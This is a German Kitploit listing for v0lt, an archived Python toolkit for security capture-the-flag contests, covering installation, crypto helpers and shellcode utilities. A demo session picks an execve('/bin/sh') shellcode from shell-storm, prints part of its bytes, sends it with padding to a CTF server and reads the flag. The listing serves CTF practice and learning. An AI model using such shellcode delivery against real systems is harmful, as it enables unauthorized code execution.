Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
v0lt — Security CTF Toolkit (Nicht mehr gewartet) | Kitploit
Tools/GitHubGitHub/p1kachu/v0lt
Payload-GenerierungExploitationScripting & AutomatisierungShellcodeKryptographieCTFPenetrationstestsLernen & BildungBinary-ExploitationArchived
GitHubp1kachu/v0lt

v0lt

Security CTF Toolkit (Nicht mehr gewartet)

370101vor 8 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

v0lt

v0lt

Rawsec's CyberSecurity Inventory

v0lt ist ein Versuch, jedes Tool, das ich in Security-CTFs verwendet habe/verwende/verwenden werde, im Python-Stil zusammenzufassen. Viele Übungen wurden mit Bash-Skripten gelöst, aber Python ist vielleicht flexibler, deshalb. Hat nichts mit Gallopsled zu tun. Es ist ein Spielzeug-Toolkit, nur mit kleinen, aber spezifischen Hilfsprogrammen.

Dieses Projekt wird nicht mehr gewartet, da die Hilfsprogramme selbst klein genug sind, um fast immer ohne Wartungsbedarf zu funktionieren. Du kannst aber gerne PRs einreichen, wenn du möchtest :)

Anforderungen und Installation

Abhängigkeiten:

  • Libmagic
  • Python3
    • BeautifulSoup
    • Requests
    • filemagic
    • hexdump
    • passlib

Installation:

root@kitploit:~
# für v0lt-Installation
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # sudo wird für möglicherweise fehlende Abhängigkeiten benötigt

Demo: Shellcodes

root@kitploit:~
>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellCrafter(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)

...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...

Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"

>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}

Implementiert:

  • Krypto

    • Base64
    • Ceasar shift
    • Hash-Funktionen (SHA, MD5)
    • Bit-Manipulationen (XOR, inverses XOR)
    • Übliche Konvertierungen (Bytes, Strings, Hex)
    • RSA-Grundlagen (inverses Modulo, inverse Potenz, egcd...)
    • Bruteforcing (Wörterbuch, benutzerdefiniertes Wort)
  • Shellcodes

    • Shellcode-Auswahl und -Download aus dem Shell-storm-Repository
    • Shellcode-Formatierer
    • Shell{cat,net}: Senden von Shellcode leicht gemacht
    • Automatisches Padding
  • Einfache Verbindungsunterstützung

    • Netcat
    • Telnet
  • Lösen

    • Instruction-Counting-Bruteforcer

Und mehr Beispiele sind verfügbar hier

Tool herunterladen